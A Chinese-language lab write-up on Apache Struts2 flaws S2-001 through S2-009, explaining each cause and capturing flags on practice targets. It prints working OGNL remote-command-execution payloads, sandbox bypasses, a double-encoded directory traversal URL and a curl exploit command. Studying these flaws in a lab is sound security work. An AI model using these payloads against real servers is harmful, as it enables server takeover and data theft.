事情起因#
用靶場熟悉下Struts2
的漏洞利用工具
注意:單純的使用工具不能加深對漏洞的理解,熟悉漏洞原理才是重點
工具列舉#
HatBoy
大佬的Struts2-Scan
,以掃描某S2-001
靶場為例:
鬼哥struts2(CVE-2013-2251)
漏洞檢測工具 (90sec.org),同樣以某S2-001
靶場為例:
Lucifer1993
寫的struts-scan
,windows
下運行亂碼,以某S2-004
靶場為例:
K8
團隊的K8_Struts2_EXP
,這裡以某S2-005
靶場為例:
K8
團隊的工具解壓密碼為k8gege
、k8team
、K8team
中的其中一個
天融信的工具,這裡以某S2-005
靶場為例:
lz520520
大佬的工具railgun
,這裡以某 `` 靶場為例:
最常見到的Srtuts2 漏洞檢查工具2018版 V2.0 by 安恒應急響應中心 20180824
,這裡以某 `` 靶場為例:
S2-001#
漏洞原因:
該漏洞因為用戶提交表單數據並且驗證失敗時,後端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然後重新填充到對應的表單數據中。例如註冊或登錄頁面,提交失敗後端一般會默認返回之前提交的數據,由於後端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以直接構造 Payload 進行命令執行
靶場正常樣子:
在 password 地方輸入 %{1+1},點擊登錄,發現報錯返回解析成了 2,證明漏洞存在
獲取 tomcat 執行路徑:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
獲取 Web 路徑:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
執行命令:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
如果命令加參數:new java.lang.String[]{"cat","/etc/passwd"}
拿到flag
S2-004#
目錄遍歷漏洞
漏洞介紹:
Struts2 Dispatcher Logic by Design 允許為請求 URI 的 Web 應用程序類路徑中的某些靜態資源提供服務,請求 URI 的上下文相關路徑以 “/struts/” 開頭。filterDispatcher(在 2.0 中)和 defaultStaticContentLoader(在 2.1 中)存在安全漏洞,允許攻擊者使用雙編碼 URL 和相對路徑遍歷目錄結構並下載 “static” 內容文件夾之外的文件。
這說明存在文件遍歷漏洞,相對路徑遍歷是../../../ 的方式,但需要雙編碼,所以需要將../ 兩次 URL 編碼為..%252f
靶場實操:
根據提示,key
在showcase.jsp
這個頁面中,通過目錄遍歷獲得key
:
URL/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp
S2-005#
遠程代碼執行漏洞,漏洞編號:CVE-2010-1870
影響版本: 2.0.0 - 2.1.8.1
原理 (參考吳翰清的《白帽子講 Web 安全》)
s2-005 漏洞的起源源於 S2-003 (受影響版本:低於 Struts 2.0.12),struts2 會將 http 的每個參數名解析為 OGNL 語句執行 (可理解為 java 代碼)。OGNL 表達式通過 #來訪問 struts 的對象,struts 框架通過過濾 #字符防止安全問題,然而通過 unicode 編碼 (\u0023) 或 8 進制 (\43) 即繞過了安全限制,對於 S2-003 漏洞,官方通過增加安全配置 (禁止靜態方法調用和類方法執行等) 來修補,但是安全配置被繞過再次導致了漏洞,攻擊者可以利用 OGNL 表達式將這 2 個選項打開,S2-003 的修補方案把自己上了一個鎖,但是把鎖鑰匙給插在了鎖頭上
XWork
會將GET
參數的鍵和值利用OGNL
表達式解析成 Java 語句,如:user.address.city=Bishkek&user['favoriteDrink']=kumys
會被轉化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
觸發漏洞就是利用了這個點,再配合OGNL
的沙盒繞過方法,組成了S2-003
。官方對003
的修復方法是增加了安全模式(沙盒),S2-00
5 在OGNL
表達式中將安全模式關閉,又繞過了修復方法。整體過程如下:
S2-003 使用\u0023繞過s2對#的防禦
S2-003 後官方增加了安全模式(沙盒)
S2-005 使用OGNL表達式將沙盒關閉,繼續執行代碼
靶場實操:
界面還做得挺好看:
無回顯POC
:
action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
大概可以理解為,(aaa)(bbb) 中 aaa 作為 OGNL 表達式字符串,bbb 作為該表達式的 root 對象,所以一般 aaa 位置如果需要執行代碼,需要用引號包裹起來,而 bbb 位置可以直接放置 Java 語句。(aaa)(bbb)=true 實際上就是 aaa=true。不過確切怎麼理解,還需要深入研究,有待優化
POC 放到 tomcat8 下會返回 400,研究了一下發現字符 \、" 不能直接放 path 裡,需要 urlencode,編碼以後再發送就好了。這個 POC 沒回顯。
我嘗試多次後還是沒搞定,有機會遇到再搞,這裡就用現成的工具了
k8
的命令執行:
S2-007#
漏洞類型:遠程代碼執行漏洞
漏洞原因:當配置了驗證規則 -validation.xml 時,若類型驗證轉換出錯,後端默認會將用戶提交的表單值通過字符串拼接,然後執行一次 OGNL 表達式解析並返回。要成功利用,只需要找到一個配置了類似驗證規則的表單字段使之轉換出錯,借助類似 SQLi 注入單引號拼接的方式即可注入任意 OGNL 表達式。也就是一般出現在表單處
影響版本: 2.0.0 - 2.2.3
靶場復現:
在年齡中輸入非數字類型點擊登錄
年齡框的 value 變成 11,證明漏洞存在,執行任意代碼的 EXP:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls ../').getInputStream())) + '
執行命令後查看不清楚可以ctrl+U
查看網頁源碼,最終命令為cat ../../../key.txt
得到key
:
S2-008#
漏洞類型:遠程代碼執行漏洞
影響版本:2.1.0 - 2.3.1
漏洞原理:
S2-008 涉及多個漏洞,Cookie 攔截器錯誤配置可造成 OGNL 表達式執行,但是由於大多 Web 容器(如 Tomcat)對 Cookie 名稱都有字符限制,一些關鍵字符無法使用使得這個點顯得比較雞肋。另一個比較雞肋的點就是在 struts2 應用開啟 devMode 模式後會有多個調試接口能夠直接查看對象信息或直接執行命令,正如 kxlzx 所提這種情況在生產環境中幾乎不可能存在,因此就變得很雞肋的,但我認為也不是絕對的,萬一被黑了專門丟了一個開啟了 debug 模式的應用到服務器上作為後門也是有可能的。例如在 devMode 模式下直接添加參數?debug=command&expression=,會直接執行後面的 OGNL 表達式,因此可以直接執行命令(注意轉義):
action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22[命令]%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
修改其中的命令便可得到結果文件,用記事本打開即可查看。
靶場復現:
直接cat ../../../key.txt
查看 (注意每次執行命令後都需要清空緩存,建議每執行一條命令換一個隱私窗口):
S2-009#
漏洞類型:遠程代碼執行漏洞
影響版本:2.1.0 - 2.3.1.1
漏洞原理:
Struts2 對 s2-003 的修復方法是禁止 #號,於是 s2-005 通過使用編碼 \u0023 或 \43 來繞過;於是 Struts2 對 s2-005 的修復方法是禁止 \ 等特殊符號,使用戶不能提交反斜線。
但是,如果當前 action 中接受了某個參數 example,這個參數將進入 OGNL 的上下文。所以,我們可以將 OGNL 表達式放在 example 參數中,然後使用 /helloword.acton?example=&(example)('xxx')=1 的方法來執行它,從而繞過官方對 #、\ 等特殊字符的防禦。
poc
如下:
age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("[命令]").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
需要以POST
方式提交
靶場復現:
查找到存在漏洞的界面為第 5 個:/ajax/example5.action
,用HackBar
的POST
方式執行ls
:
不能成功執行,那就換burpsuite
:
嘗試也無果,最後使用curl
命令行工具直接提交並保存結果到文件:
curl -X POST "http://xxx.xxx.xxx.xxx:yyyyy/ajax/example5.action" -d "age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]" --output a.txt
把ls
命令修改為cat key.txt
即可得到flag
:
總結#
暫無
參考文章:
本文完。(才怪)